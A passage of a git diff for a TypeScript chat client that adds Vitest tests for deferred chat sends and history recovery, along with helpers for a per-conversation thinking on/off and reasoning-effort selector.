+ * `chat.send` (start a turn), `chat.queue` (enqueue a steering message;
+ * auto-starts a turn if idle), and `chat.queue.cancel` (remove a single queued
+ * message by id so it never runs — fire-and-forget, idempotent; the
+ * message-queue surface confirms the removal).
*/
export interface ChatTransport {
- send(msg: ChatSendMessage | ChatQueueMessage): void;
+ send(msg: ChatSendMessage | ChatQueueMessage | ChatQueueCancelMessage): void;
}
/**
diff --git a/src/features/chat/queued.test.ts b/src/features/chat/queued.test.ts
new file mode 100644
index 0000000..3b579c6
--- /dev/null
+++ b/src/features/chat/queued.test.ts
@@ -0,0 +1,207 @@
+import type { ChatQueuedMessage } from "@dispatch/transport-contract";
+import type { AgentEvent } from "@dispatch/wire";
+import { describe, expect, it, vi } from "vitest";
+import { createChatStore } from "./store.svelte";
+import {
+ createFakeCache,
+ createFakeHistorySync,
+ createFakeMetricsSync,
+ createFakeTransport,
+} from "./test-helpers";
+
+const images = [
+ { url: "data:image/png;base64,AAAA", mimeType: "image/png" },
+ { url: "data:image/png;base64,BBBB" },
+];
+
+function fixture(batched = false) {
+ const transport = createFakeTransport();
+ const history = createFakeHistorySync();
+ let nextId = 0;
+ const scheduled: (() => void)[] = [];
+ const store = createChatStore({
+ conversationId: "c1",
+ createRequestId: () => `r${++nextId}`,
+ transport: transport.impl,
+ historySync: history.impl,
+ metricsSync: createFakeMetricsSync().impl,
+ cache: createFakeCache().impl,
+ ...(batched ? { scheduleFlush: (flush: () => void) => scheduled.push(flush) } : {}),
+ });
+ function ack(requestId: string | undefined = "r1", conversationId = "c1") {
+ const msg: ChatQueuedMessage = {
+ type: "chat.queued",
+ conversationId,
+ reason: "compaction",
+ messageId: "q1",
+ ...(requestId !== undefined ? { requestId } : {}),
+ };
+ store.handleDelta(msg);
+ }
+ function event(event: AgentEvent) {
+ store.handleDelta({ type: "chat.delta", event });
+ }
+ function start(text?: string, turnId = "t1") {
+ event({ type: "turn-start", conversationId: "c1", turnId });
+ if (text !== undefined) event({ type: "user-message", conversationId: "c1", turnId, text });
+ }
+ return { store, transport, history, scheduled, ack, event, start };
+}
+
+describe("compaction-deferred chat.send", () => {
+ it.each([
+ "hello",
+ "",
+ ])("removes just the accepted local text/images for %j without error, retry or queue sends", (text) => {
+ const f = fixture();
+ f.store.send(text, images);
+ expect(f.store.chunks).toHaveLength(text ? 3 : 2);
+ f.ack();
+ f.ack();
+ expect(f.store.chunks).toEqual([]);
+ expect(f.store.generating).toBe(false);
+ expect(f.store.error).toBeNull();
+ expect(f.transport.sent).toHaveLength(1);
+ expect(f.transport.sent[0]).toMatchObject({ requestId: "r1", images, message: text });
+ expect(f.transport.sentQueue).toEqual([]);
+ f.store.dispose();
+ });
+
+ it("uses distinct request identities for identical sends and preserves unrelated content", () => {
+ const f = fixture();
+ f.start("another client's prompt");
+ f.event({ type: "text-delta", conversationId: "c1", turnId: "t1", delta: "working" });
+ f.store.send("identical", images);
+ f.store.send("identical", images);
+ expect(f.transport.sent.map((m) => m.requestId)).toEqual(["r1", "r2"]);
+ f.ack("r1");
+ f.ack("r1");
+ expect(f.store.chunks.map((c) => c.chunk)).toEqual([
+ { type: "text", text: "another client's prompt" },
+ { type: "text", text: "working" },
+ { type: "text", text: "identical" },
+ ...images.map((i) => ({ type: "image", ...i })),
+ ]);
+ f.ack("r2");
+ expect(f.store.chunks.map((c) => c.chunk)).toEqual([
+ { type: "text", text: "another client's prompt" },
+ { type: "text", text: "working" },
+ ]);
+ expect(f.store.generating).toBe(true);
+ f.store.dispose();
+ });
+
+ it.each([
+ "missing",
+ "unknown",
+ "wrong-conversation",
+ ])("tolerates %s correlation without deleting any echo", (kind) => {
+ const f = fixture();
+ f.store.send("hello", images);
+ f.store.handleDelta({
+ type: "chat.queued",
+ conversationId: kind === "wrong-conversation" ? "c2" : "c1",
+ reason: "compaction",
+ messageId: "q1",
+ ...(kind === "missing" ? {} : { requestId: kind === "unknown" ? "r999" : "r1" }),
+ });
+ expect(f.store.chunks).toHaveLength(3);
+ expect(f.store.error).toBeNull();
+ f.store.dispose();
+ });
+
+ it.each([
+ false,
+ true,
+ ])("preserves a live confirmed prompt before delayed ack (batched=%s)", (batched) => {
+ const f = fixture(batched);
+ f.store.send("hello", images);
+ f.start("hello");
+ f.event({ type: "text-delta", conversationId: "c1", turnId: "t1", delta: "answer" });
+ f.ack();
+ f.ack();
+ for (const flush of f.scheduled) flush();
+ expect(f.store.chunks.map((c) => c.chunk)).toEqual([
+ { type: "text", text: "hello" },
+ { type: "text", text: "answer" },
+ ]);
+ expect(f.store.generating).toBe(true);
+ expect(f.store.error).toBeNull();
+ f.store.dispose();
+ });
+
+ it("turn-start tagging alone does not protect a still-local echo", () => {
+ const f = fixture(true);
+ f.store.send("hello", images);
+ f.start();
+ f.ack();
+ expect(f.store.chunks).toEqual([]);
+ expect(f.store.generating).toBe(true);
+ f.event({ type: "user-message", conversationId: "c1", turnId: "t1", text: "hello" });
+ for (const flush of f.scheduled) flush();
+ expect(f.store.chunks.map((c) => c.chunk)).toEqual([{ type: "text", text: "hello" }]);
+ f.store.dispose();
+ });
+
+ it("keeps a combined queue opening and steering; removes only the original individual echoes", () => {
+ const f = fixture(true);
+ f.store.send("one", images);
+ f.store.send("two", images);
+ f.start("one\n\ntwo");
+ f.event({ type: "steering", conversationId: "c1", turnId: "t1", text: "steer" });
+ f.ack("r2");
+ f.ack("r1");
+ expect(f.store.chunks.map((c) => c.chunk)).toEqual([
+ { type: "text", text: "one\n\ntwo" },
+ { type: "text", text: "steer" },
+ ]);
+ expect(f.store.generating).toBe(true);
+ f.store.dispose();
+ });
+
+ it.each([
+ "ack-first",
+ "reset-first",
+ "history-first",
+ ])("handles epoch replacement idempotently: %s", async (order) => {
+ const f = fixture();
+ await f.store.load();
+ f.store.send("hello", images);
+ if (order === "ack-first") f.ack();
+ f.history.historyEpoch = 1;
+ f.history.returnChunks = [
+ { seq: 1, role: "user", turnId: "t1", chunk: { type: "text", text: "hello" } },
+ { seq: 2, role: "user", turnId: "t1", chunk: { type: "image", url: "/images/c1/saved.png" } },
+ ];
+ f.store.resync(1);
+ if (order === "reset-first") f.ack();
+ await vi.waitFor(() => expect(f.store.pendingSync).toBe(false));
+ f.start("hello");
+ const before = f.store.chunks;
+ f.ack();
+ f.ack();
+ expect(f.store.chunks).toEqual(before);
+ expect(f.store.chunks.map((c) => c.chunk)).toEqual(f.history.returnChunks.map((c) => c.chunk));
+ expect(f.store.generating).toBe(true);
+ expect(f.store.error).toBeNull();
+ expect(f.transport.sent).toHaveLength(1);
+ f.store.dispose();
+ });
+
+ it("keeps normal immediate-send text/image deduplication and authoritative history", async () => {
+ const f = fixture();
+ f.store.send("hello", images);
+ f.start("hello");
+ expect(f.store.chunks).toHaveLength(3);
+ f.history.returnChunks = [
+ { seq: 1, role: "user", turnId: "t1", chunk: { type: "text", text: "hello" } },
+ { seq: 2, role: "user", turnId: "t1", chunk: { type: "image", url: "/images/c1/saved.png" } },
+ ];
+ f.event({ type: "turn-sealed", conversationId: "c1", turnId: "t1" });
+ await vi.waitFor(() => expect(f.store.pendingSync).toBe(false));
+ expect(f.store.chunks.map((c) => c.chunk)).toEqual(f.history.returnChunks.map((c) => c.chunk));
+ expect(f.store.chunks.every((c) => !c.provisional)).toBe(true);
+ expect(f.transport.sent).toHaveLength(1);
+ f.store.dispose();
+ });
+});
diff --git a/src/features/chat/reasoning-effort.test.ts b/src/features/chat/reasoning-effort.test.ts
index 6d409e9..e870bac 100644
--- a/src/features/chat/reasoning-effort.test.ts
+++ b/src/features/chat/reasoning-effort.test.ts
@@ -2,9 +2,12 @@ import { describe, expect, it } from "vitest";
import {
DEFAULT_REASONING_EFFORT,
effectiveEffort,
+ effectiveSelection,
effortOptions,
isReasoningEffort,
+ isThinkingSelection,
REASONING_EFFORT_LEVELS,
+ selectionOptions,
} from "./reasoning-effort";
describe("reasoning-effort helpers", () => {
@@ -43,3 +46,39 @@ describe("reasoning-effort helpers", () => {
}
});
});
+
+describe("thinking selection (the separate on/off axis)", () => {
+ it("selectionOptions lists 'off' first, then the ladder (default marked)", () => {
+ const options = selectionOptions();
+ expect(options).toHaveLength(1 + REASONING_EFFORT_LEVELS.length);
+ expect(options[0]?.value).toBe("off");
+ expect(options[0]?.label).toBe("Off");
+ // the rest are the ladder, unchanged from effortOptions()
+ expect(options.slice(1).map((o) => o.value)).toEqual([...REASONING_EFFORT_LEVELS]);
+ expect(options.find((o) => o.value === "high")?.label).toBe("high (default)");
+ });
+
+ it("isThinkingSelection narrows 'off' + ladder strings, rejects the rest", () => {
+ expect(isThinkingSelection("off")).toBe(true);
+ for (const level of REASONING_EFFORT_LEVELS) {
+ expect(isThinkingSelection(level)).toBe(true);
+ }
+ expect(isThinkingSelection("banana")).toBe(false);
+ expect(isThinkingSelection("")).toBe(false);
+ expect(isThinkingSelection("OFF")).toBe(false);
+ expect(isThinkingSelection("none")).toBe(false); // NOT a wire value we send
+ });
+
+ it("effectiveSelection shows 'off' when thinking is explicitly disabled", () => {
+ // thinking off is a SEPARATE axis: the effort level is irrelevant while off.
+ expect(effectiveSelection("xhigh", false)).toBe("off");
+ expect(effectiveSelection(null, false)).toBe("off");
+ });
+
+ it("effectiveSelection shows the effort level when thinking is on (default)", () => {
+ // null thinking = never set ⇒ thinking ON (default) ⇒ show the effort level.
+ expect(effectiveSelection(null, null)).toBe("high"); // default effort
+ expect(effectiveSelection("low", null)).toBe("low");
+ expect(effectiveSelection("max", true)).toBe("max"); // explicitly on
+ });
+});
diff --git a/src/features/chat/reasoning-effort.ts b/src/features/chat/reasoning-effort.ts
index 1eb77b6..39e1c5a 100644
--- a/src/features/chat/reasoning-effort.ts
+++ b/src/features/chat/reasoning-effort.ts
@@ -36,7 +36,7 @@ export function effectiveEffort(persisted: ReasoningEffort | null): ReasoningEff
return persisted ?? DEFAULT_REASONING_EFFORT;
}
-/** One `<option>` of the selector. */
+/** One `<option>` of the effort ladder. */
export interface EffortOption {
readonly value: ReasoningEffort;
readonly label: string;
@@ -64,3 +64,99 @@ export type ReasoningEffortSaveResult =
export type SaveReasoningEffort = (
level: ReasoningEffort,
) => Promise<ReasoningEffortSaveResult | null>;
+
+// ── Thinking on/off (a SEPARATE axis from the effort level) ─────────────────
+//
+// Per the umans API (and the user's mental model), "thinking off" is NOT a
+// zero-effort level — it is a distinct "disable extended thinking entirely"
+// signal. The umans route expresses it as `reasoning_effort: "none"`; Dispatch
+// surfaces it as a SEPARATE per-conversation boolean so the effort LEVEL is
+// preserved across an off→on toggle (turning thinking back on restores the
+// previously-chosen depth). The per-conversation selector CONFLATES the two
+// axes into one `<select>` (UX), but the WIRE keeps them separate.
+//
+// ⚠️ BACKEND CONTRACT GAP — see `backend-handoff.md`. The `thinking` endpoint +
+// wire types below are the PROPOSED shape; the backend has NOT shipped them yet.
+// They are defined FE-local (mirroring the shipped `ReasoningEffortResponse` /
+// `SetReasoningEffortRequest` shape) so the FE is built + tested against the
+// target contract. Re-pin + re-mirror once the backend ships them.
+
+/**
+ * Response of `GET /conversations/:id/thinking` (PROPOSED). `thinking` is null
+ * when never set (the server then resolves turns with thinking ON — the
+ * default), `false` when explicitly disabled, `true` when explicitly enabled.
+ */
+export interface ThinkingResponse {
+ readonly conversationId: string;
+ readonly thinking: boolean | null;
+}
+
+/** Body of `PUT /conversations/:id/thinking` (PROPOSED). */
+export interface SetThinkingRequest {
+ readonly thinking: boolean;
+}
+
+/**
+ * The per-conversation selector's value: `"off"` (thinking disabled — the
+ * separate axis) or a reasoning-effort LEVEL. NOT a widened ladder: `"off"` is
+ * not a degree of effort, it is the absence of thinking.
+ */
+export type ThinkingSelection = "off" | ReasoningEffort;
+
+/** One `<option>` of the combined selector (off or a level). */
+export interface SelectionOption {
+ readonly value: ThinkingSelection;
+ readonly label: string;
+}
+
+/**
+ * The selector's options: `"off"` first (the separate disable signal), then the
+ * effort ladder with the server default marked `(default)`. A never-set
+ * conversation (thinking on, effort null) reads "high (default)".
+ */
+export function selectionOptions(): readonly SelectionOption[] {
+ return [{ value: "off", label: "Off" }, ...effortOptions()];
+}
+
+/** Narrow an untrusted `<select>` value to a {@link ThinkingSelection}. */
+export function isThinkingSelection(value: string): value is ThinkingSelection {
+ return value === "off" || isReasoningEffort(value);
+}
+
+/**
+ * The selection the per-conversation selector should show as selected: `"off"`
+ * when thinking is explicitly disabled (`persistedThinking === false`), else the
+ * effective effort level. `persistedThinking === null` (never set) ⇒ thinking
+ * ON (the default) ⇒ the effort level is shown — NOT "off".
+ */
+export function effectiveSelection(
+ persistedEffort: ReasoningEffort | null,
+ persistedThinking: boolean | null,
+): ThinkingSelection {
+ if (persistedThinking === false) return "off";
+ return effectiveEffort(persistedEffort);
+}
+
+// ── Injected port for the combined selector (off OR a level) ─────────────────
+
+/** Outcome of persisting a {@link ThinkingSelection} (one or two PUTs). */
+export type ThinkingSelectionSaveResult =
+ | { readonly ok: true; readonly selection: ThinkingSelection }
+ | { readonly ok: false; readonly error: string };
+
+/**
+ * Persist a thinking selection (consumer-defines-port; the composition root
+ * adapts the store's `PUT .../thinking` + `PUT .../reasoning-effort` to this).
+ * - `"off"` → disable thinking (the separate signal); the effort level is left
+ * untouched so an off→on toggle restores it.
+ * - a level → set the effort level AND ensure thinking is ON (the level is
+ * meaningless while thinking is off).
+ */
+export type SaveThinkingSelection = (
+ selection: ThinkingSelection,
+) => Promise<ThinkingSelectionSaveResult | null>;
+
+/** Outcome of `PUT /conversations/:id/thinking`. */
+export type ThinkingSaveResult =
+ | { readonly ok: true; readonly thinking: boolean }
+ | { readonly ok: false; readonly error: string };
diff --git a/src/features/chat/recovery.test.ts b/src/features/chat/recovery.test.ts
new file mode 100644
index 0000000..4b46288
--- /dev/null
+++ b/src/features/chat/recovery.test.ts
@@ -0,0 +1,529 @@
+import type {
+ ChatResyncRequiredMessage,
+ ConversationHistoryResponse,
+} from "@dispatch/transport-contract";
+import type { AgentEvent, StepId, StoredChunk, TurnEndedEvent } from "@dispatch/wire";
+import { IDBFactory, IDBKeyRange } from "fake-indexeddb";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { createIdbChunkStore } from "../../adapters/idb";
+import { createConversationCache } from "../conversation-cache";
+import type { HistorySync } from "./ports";
+import { createChatStore } from "./store.svelte";
+import {
+ createFakeCache,
+ createFakeHistorySync,
+ createFakeMetricsSync,
+ createFakeTransport,
+} from "./test-helpers";
+
+const step = "t1#0" as StepId;
+const opening: StoredChunk = {
+ seq: 1,
+ role: "user",
+ turnId: "t1",
+ chunk: { type: "text", text: "prompt" },
+};
+const call: StoredChunk = {
+ seq: 3,
+ role: "assistant",
+ turnId: "t1",
+ chunk: {
+ type: "tool-call",
+ toolCallId: "a",
+ toolName: "run_shell",
+ stepId: step,
+ input: { command: "full input" },
+ },
+};
+const result: StoredChunk = {
+ seq: 4,
+ role: "tool",
+ turnId: "t1",
+ chunk: {
+ type: "tool-result",
+ toolCallId: "a",
+ toolName: "run_shell",
+ stepId: step,
+ content: "full output",
+ isError: false,
+ },
+};
+const committed: StoredChunk[] = [
+ opening,
+ { seq: 2, role: "assistant", turnId: "t1", chunk: { type: "text", text: "complete text" } },
+ call,
+ result,
+];
+
+function fixture(historySync?: HistorySync, batched = false) {
+ const history = createFakeHistorySync();
+ const transport = createFakeTransport();
+ const cache = createFakeCache();
+ const scheduled: (() => void)[] = [];
+ const store = createChatStore({
+ conversationId: "c1",
+ createRequestId: () => "r1",
+ historySync: historySync ?? history.impl,
+ metricsSync: createFakeMetricsSync().impl,
+ cache: cache.impl,
+ transport: transport.impl,
+ ...(batched ? { scheduleFlush: (fn: () => void) => scheduled.push(fn) } : {}),
+ });
+ const event = (event: AgentEvent) => store.handleDelta({ type: "chat.delta", event });
+ const notice = (
+ turnId: string | undefined = "t1",
+ reason: ChatResyncRequiredMessage["reason"] = "replay-limit",
+ ) =>
+ store.handleDelta({
+ type: "chat.resync-required",
+ conversationId: "c1",
+ reason,
+ ...(turnId !== undefined ? { turnId } : {}),
+ });
+ const end = (reason: TurnEndedEvent["reason"] = "sealed", turnId = "t1") =>
+ event({ type: "turn-ended", conversationId: "c1", turnId, reason });
+ const text = (delta: string, turnId = "t1") =>
+ event({ type: "text-delta", conversationId: "c1", turnId, delta });
+ return { store, history, transport, cache, scheduled, event, notice, end, text };
+}
+
+async function settled(store: ReturnType<typeof createChatStore>) {
+ for (let i = 0; i < 80 && store.pendingSync; i++) await Promise.resolve();
+ expect(store.pendingSync).toBe(false);
+}
+function response(chunks: readonly StoredChunk[], historyEpoch = 0): ConversationHistoryResponse {
+ return { chunks, historyEpoch, latestSeq: chunks.at(-1)?.seq ?? 0 };
+}
+function deferred() {
+ let resolve!: (value: ConversationHistoryResponse) => void;
+ const promise = new Promise<ConversationHistoryResponse>((r) => {
+ resolve = r;
+ });
+ return { promise, resolve };
+}
+
+afterEach(() => {
+ vi.useRealTimers();
+ vi.unstubAllGlobals();
+});
+
+describe("omitted chat recovery", () => {
+ it.each([
+ false,
+ true,
+ ])("marks omitted replay active without content and recovers full HTTP payload (batched=%s)", async (batched) => {
+ vi.useFakeTimers();
+ const f = fixture(undefined, batched);
+ f.text("partial");
+ f.notice();
+ expect(f.store.generating).toBe(true);
+ expect(f.store.recovering).toBe(true);
+ expect(f.store.chunks.map((r) => r.chunk)).toEqual([{ type: "text", text: "partial" }]);
+ await settled(f.store);
+ // No initial commit yet. A tool result follows an OMITTED call input.
+ f.event({
+ type: "tool-result",
+ conversationId: "c1",
+ turnId: "t1",
+ stepId: step,
+ toolCallId: "a",
+ toolName: "run_shell",
+ content: "short replay",
+ isError: false,
+ });
+ f.history.returnChunks = committed;
+ await vi.advanceTimersByTimeAsync(1000);
+ expect(f.store.chunks.filter((r) => r.chunk.type === "tool-call")).toEqual([
+ expect.objectContaining({ chunk: call.chunk, provisional: false }),
+ ]);
+ expect(f.store.chunks.filter((r) => r.chunk.type === "tool-result")).toHaveLength(1);
+ expect(f.store.chunks.find((r) => r.chunk.type === "tool-result")?.chunk).toEqual(result.chunk);
+ expect(f.store.generating).toBe(true);
+ expect(f.store.error).toBeNull();
+ expect(f.transport.sent).toEqual([]);
+ f.store.dispose();
+ expect(vi.getTimerCount()).toBe(0);
+ });
+
+ it("coalesces repeat notices and polls after step notification races persistence, without parallel requests", async () => {
+ vi.useFakeTimers();
+ const pending = deferred();
+ let calls = 0;
+ const f = fixture(async () => {
+ calls++;
+ return calls === 1 ? pending.promise : response(committed);
+ });
+ f.notice();
+ for (let i = 0; i < 20; i++) f.notice();
+ for (let i = 0; i < 15; i++) await Promise.resolve();
+ expect(calls).toBe(1);
+ f.event({ type: "step-complete", conversationId: "c1", turnId: "t1", stepId: step });
+ await vi.advanceTimersByTimeAsync(10000);
+ expect(calls).toBe(1);
+ pending.resolve(response([]));
+ await settled(f.store);
+ expect(calls).toBe(1);
+ await vi.advanceTimersByTimeAsync(999);
+ expect(calls).toBe(1);
+ await vi.advanceTimersByTimeAsync(1);
+ expect(calls).toBe(2);
+ expect(f.store.chunks.map((r) => r.chunk)).toEqual(committed.map((r) => r.chunk));
+ f.store.dispose();
+ });
+
+ it.each([
+ "sealed",
+ "aborted",
+ "error",
+ "rejected",
+ ] as const)("final-syncs %s behind an in-flight fetch and preserves immediate queued carry", async (reason) => {
+ vi.useFakeTimers();
+ const pending = deferred();
+ let calls = 0;
+ const f = fixture(async () => (++calls === 1 ? pending.promise : response(committed)));
+ f.notice();
+ for (let i = 0; i < 10; i++) await Promise.resolve();
+ f.text("old tail");
+ f.end(reason);
+ f.event({ type: "user-message", conversationId: "c1", turnId: "t2", text: "queued input" });
+ f.event({ type: "turn-start", conversationId: "c1", turnId: "t2" });
+ f.text("carried tail", "t2");
+ pending.resolve(response([opening]));
+ await settled(f.store);
+ expect(calls).toBe(2);
+ expect(f.store.recovering).toBe(false);
+ expect(f.store.generating).toBe(true);
+ expect(f.store.chunks.filter((r) => r.provisional).map((r) => r.chunk)).toEqual([
+ { type: "text", text: "queued input" },
+ { type: "text", text: "carried tail" },
+ ]);
+ expect(f.store.chunks.filter((r) => r.turnId === "t1").every((r) => !r.provisional)).toBe(true);
+ await vi.advanceTimersByTimeAsync(5000);
+ expect(calls).toBe(2);
+ f.end("sealed", "t2");
+ expect(f.store.generating).toBe(false);
+ f.store.dispose();
+ });
+
+ it.each([
+ false,
+ true,
+ ])("notice during %s-cache load requests one rerun, preserving current window", async (warm) => {
+ vi.useFakeTimers();
+ const pending = deferred();
+ let calls = 0;
+ const f = fixture(async (_id, _since, window) => {
+ calls++;
+ if (!warm) expect(window?.limit).toBe(192);
+ return calls === 1 ? pending.promise : response([opening]);
+ });
+ if (warm) f.cache.store.set("c1", [opening]);
+ const load = f.store.load();
+ for (let i = 0; i < 15; i++) await Promise.resolve();
+ f.notice();
+ pending.resolve(response([opening]));
+ await load;
+ await settled(f.store);
+ expect(calls).toBe(2);
+ expect(f.store.chunks).toHaveLength(1);
+ expect(f.store.recovering).toBe(true);
+ expect(f.store.generating).toBe(true);
+ f.store.dispose();
+ });
+
+ it("payload notice after a completed HTTP load preserves live tail, unrelated turn and tool progress", async () => {
+ vi.useFakeTimers();
+ const f = fixture();
+ await f.store.load();
+ f.event({ type: "turn-start", conversationId: "c1", turnId: "other" });
+ f.text("unrelated", "other");
+ f.event({ type: "turn-start", conversationId: "c1", turnId: "t1" });
+ f.text("partial text");
+ f.event({
+ type: "tool-call",
+ conversationId: "c1",
+ turnId: "t1",
+ stepId: step,
+ toolCallId: "a",
+ toolName: "run_shell",
+ input: { command: "short" },
+ });
+ f.event({
+ type: "tool-result",
+ conversationId: "c1",
+ turnId: "t1",
+ stepId: step,
+ toolCallId: "a",
+ toolName: "run_shell",
+ content: "short",
+ isError: false,
+ });
+ f.text("complete text"); // same payload as earlier step; NOT the same identity
+ f.event({
+ type: "tool-output",
+ conversationId: "c1",
+ turnId: "t1",
+ toolCallId: "next",
+ data: "progress",
+ stream: "stdout",
+ });
+ f.history.returnChunks = committed;
+ f.notice("t1", "payload-limit");
+ await settled(f.store);
+ expect(f.store.chunks.filter((r) => r.provisional).map((r) => r.chunk)).toEqual([
+ { type: "text", text: "unrelated" },
+ { type: "text", text: "complete text" },
+ ]);
+ expect(f.store.chunks.filter((r) => r.chunk.type === "tool-call")).toHaveLength(1);
+ expect(f.store.chunks.filter((r) => r.chunk.type === "tool-result")).toHaveLength(1);
+ f.store.dispose();
+ });
+
+ it("bounds epoch churn during recovery and cancels its retry timer on disposal", async () => {
+ vi.useFakeTimers();
+ let calls = 0;
+ const f = fixture(async () => {
+ f.store.invalidateHistory(++calls);
+ return response([], calls - 1);
+ });
+ f.notice();
+ await settled(f.store);
+ expect(calls).toBe(3);
+ expect(f.store.error).toContain("sync paused");
+ await vi.advanceTimersByTimeAsync(10000);
+ expect(calls).toBe(3);
+ f.store.dispose();
+ await vi.advanceTimersByTimeAsync(10000);
+ expect(calls).toBe(3);
+ expect(vi.getTimerCount()).toBe(0);
+ });
+
+ it("ignores other conversations and disposed notices; accepts a notice without turnId", async () => {
+ vi.useFakeTimers();
+ const f = fixture();
+ f.store.handleDelta({
+ type: "chat.resync-required",
+ conversationId: "other",
+ reason: "payload-limit",
+ });
+ expect(f.store.recovering).toBe(false);
+ f.store.handleDelta({
+ type: "chat.resync-required",
+ conversationId: "c1",
+ reason: "payload-limit",
+ });
+ await settled(f.store);
+ expect(f.store.generating).toBe(false);
+ expect(f.store.recovering).toBe(false);
+ expect(vi.getTimerCount()).toBe(0);
+ f.event({ type: "turn-start", conversationId: "c1", turnId: "t1" });
+ f.store.handleDelta({
+ type: "chat.resync-required",
+ conversationId: "c1",
+ reason: "payload-limit",
+ });
+ expect(f.store.generating).toBe(true);
+ expect(f.store.recovering).toBe(true);
+ f.end("rejected");
+ await settled(f.store);
+ expect(f.store.recovering).toBe(false);
+ expect(f.store.generating).toBe(false);
+ f.store.dispose();
+ f.notice();
+ expect(vi.getTimerCount()).toBe(0);
+ });
+});
+
+it("recovers a windowed rollback with real IndexedDB cache while preserving lifecycle evidence", async () => {
+ vi.stubGlobal("IDBKeyRange", IDBKeyRange);
+ const cache = createConversationCache(createIdbChunkStore({ indexedDB: new IDBFactory() }));
+ await cache.commit(
+ "c1",
+ [{ seq: 1, role: "assistant", chunk: { type: "text", text: "old epoch" } }],
+ 5,
+ );
+ const history = createFakeHistorySync();
+ history.historyEpoch = 5;
+ const timers = new Map<object, () => void>();
+ const store = createChatStore({
+ conversationId: "c1",
+ createRequestId: () => "r",
+ cache,
+ historySync: history.impl,
+ metricsSync: createFakeMetricsSync().impl,
+ transport: createFakeTransport().impl,
+ chatLimit: 10,
+ recoveryTimer: {
+ schedule(fn) {
+ const key = {};
+ timers.set(key, fn);
+ return key;
+ },
+ cancel(key) {
+ timers.delete(key as object);
+ },
+ },
+ });
+ try {
+ await store.load();
+ history.historyEpoch = 0;
+ history.returnChunks = Array.from({ length: 20 }, (_, i) => ({
+ seq: i + 1,
+ role: "assistant" as const,
+ turnId: "t1",
+ chunk: { type: "text" as const, text: `restored-${i}` },
+ }));
+ const before = history.calls.length;
+ store.handleDelta({
+ type: "chat.resync-required",
+ conversationId: "c1",
+ turnId: "t1",
+ reason: "replay-limit",
+ });
+ await vi.waitFor(() => expect(store.pendingSync).toBe(false));
+ expect(history.calls.length - before).toBe(2);
+ expect(history.calls.at(-1)).toMatchObject({ sinceSeq: 0, window: { limit: 7 } });
+ expect(await cache.historyEpoch("c1")).toBe(0);
+ expect(store.chunks.map((c) => c.seq)).toEqual([14, 15, 16, 17, 18, 19, 20]);
+ expect(store.hasEarlier).toBe(true);
+ expect(store.generating).toBe(true);
+ expect(timers.size).toBe(1);
+ store.handleDelta({
+ type: "chat.delta",
+ event: { type: "turn-ended", conversationId: "c1", turnId: "t1", reason: "aborted" },
+ });
+ await vi.waitFor(() => expect(store.pendingSync).toBe(false));
+ expect(store.generating).toBe(false);
+ expect(timers.size).toBe(0);
+ expect(store.hasEarlier).toBe(true);
+ } finally {
+ store.dispose();
+ }
+});
+
+it("ignores an unrelated terminal and stays recovering through done/seal until its actual terminal", async () => {
+ vi.useFakeTimers();
+ const f = fixture();
+ f.notice();
+ await settled(f.store);
+ f.end("aborted", "unrelated");
+ f.event({ type: "done", conversationId: "c1", turnId: "t1", reason: "aborted" });
+ expect(f.store.recovering).toBe(true);
+ expect(f.store.generating).toBe(true);
+ f.event({ type: "turn-sealed", conversationId: "c1", turnId: "t1" });
+ await settled(f.store);
+ expect(f.store.recovering).toBe(true);
+ expect(f.store.generating).toBe(true);
+ f.end("aborted");
+ await settled(f.store);
+ expect(f.store.recovering).toBe(false);
+ expect(f.store.generating).toBe(false);
+ expect(vi.getTimerCount()).toBe(0);
+ f.store.dispose();
+});
+
+it("makes a post-terminal request even when the terminal races the third bounded epoch attempt", async () => {
+ vi.useFakeTimers();
+ const third = deferred();
+ let calls = 0;
+ const f = fixture(async () => {
+ calls++;
+ if (calls < 3) {
+ f.store.invalidateHistory(calls);
+ return response([], calls - 1);
+ }
+ return calls === 3 ? third.promise : response(committed, 2);
+ });
+ f.notice();
+ for (let i = 0; i < 60 && calls < 3; i++) await Promise.resolve();
+ expect(calls).toBe(3);
+ f.end("error");
+ third.resolve(response([], 2));
+ await settled(f.store);
+ expect(calls).toBe(4);
+ expect(f.store.chunks.map((r) => r.chunk)).toEqual(committed.map((r) => r.chunk));
+ expect(f.store.recovering).toBe(false);
+ expect(vi.getTimerCount()).toBe(0);
+ f.store.dispose();
+});
+
+it("retains active recovery across a compaction epoch refresh and cancels it on reconnect/dispose", async () => {
+ vi.useFakeTimers();
+ const f = fixture();
+ f.notice();
+ await settled(f.store);
+ f.history.historyEpoch = 1;
+ f.store.resync(1);
+ await settled(f.store);
+ expect(f.store.recovering).toBe(true);
+ expect(f.store.generating).toBe(true);
+ expect(vi.getTimerCount()).toBe(1);
+ f.store.resync();
+ await settled(f.store);
+ expect(f.store.recovering).toBe(false);
+ expect(f.store.generating).toBe(false);
+ expect(vi.getTimerCount()).toBe(0);
+ f.store.dispose();
+});
+
+it("flushes a batched aborted terminal plus carried turn before applying an older HTTP response", async () => {
+ vi.useFakeTimers();
+ const pending = deferred();
+ let calls = 0;
+ const f = fixture(async () => (++calls === 1 ? pending.promise : response(committed)), true);
+ f.notice();
+ for (let i = 0; i < 15; i++) await Promise.resolve();
+ f.text("old partial");
+ f.end("aborted");
+ f.event({ type: "user-message", conversationId: "c1", turnId: "t2", text: "queued" });
+ f.event({ type: "turn-start", conversationId: "c1", turnId: "t2" });
+ f.text("live carried output", "t2");
+ pending.resolve(response([opening]));
+ await settled(f.store);
+ expect(calls).toBe(2);
+ expect(f.store.chunks.filter((r) => r.provisional).map((r) => r.chunk)).toEqual([
+ { type: "text", text: "queued" },
+ { type: "text", text: "live carried output" },
+ ]);
+ expect(f.store.generating).toBe(true);
+ expect(f.store.recovering).toBe(false);
+ expect(vi.getTimerCount()).toBe(0);
+ f.store.dispose();
+});
+
+it("does not truncate a payload larger than the WS budget recovered over HTTP", async () => {
+ vi.useFakeTimers();
+ const large = "x".repeat(4 * 1024 * 1024 + 1);
+ const full: StoredChunk[] = [
+ {
+ ...call,
+ chunk: {
+ ...call.chunk,
+ type: "tool-call",
+ toolCallId: "a",
+ toolName: "run_shell",
+ input: { command: large },
+ stepId: step,
+ },
+ },
+ {
+ ...result,
+ chunk: {
+ type: "tool-result",
+ toolCallId: "a",
+ toolName: "run_shell",
+ content: large,
+ isError: false,
+ stepId: step,
+ },
+ },
+ ];
+ const f = fixture();
+ f.history.returnChunks = full;
+ f.notice();
+ await settled(f.store);
+ expect(f.store.chunks).toHaveLength(2);
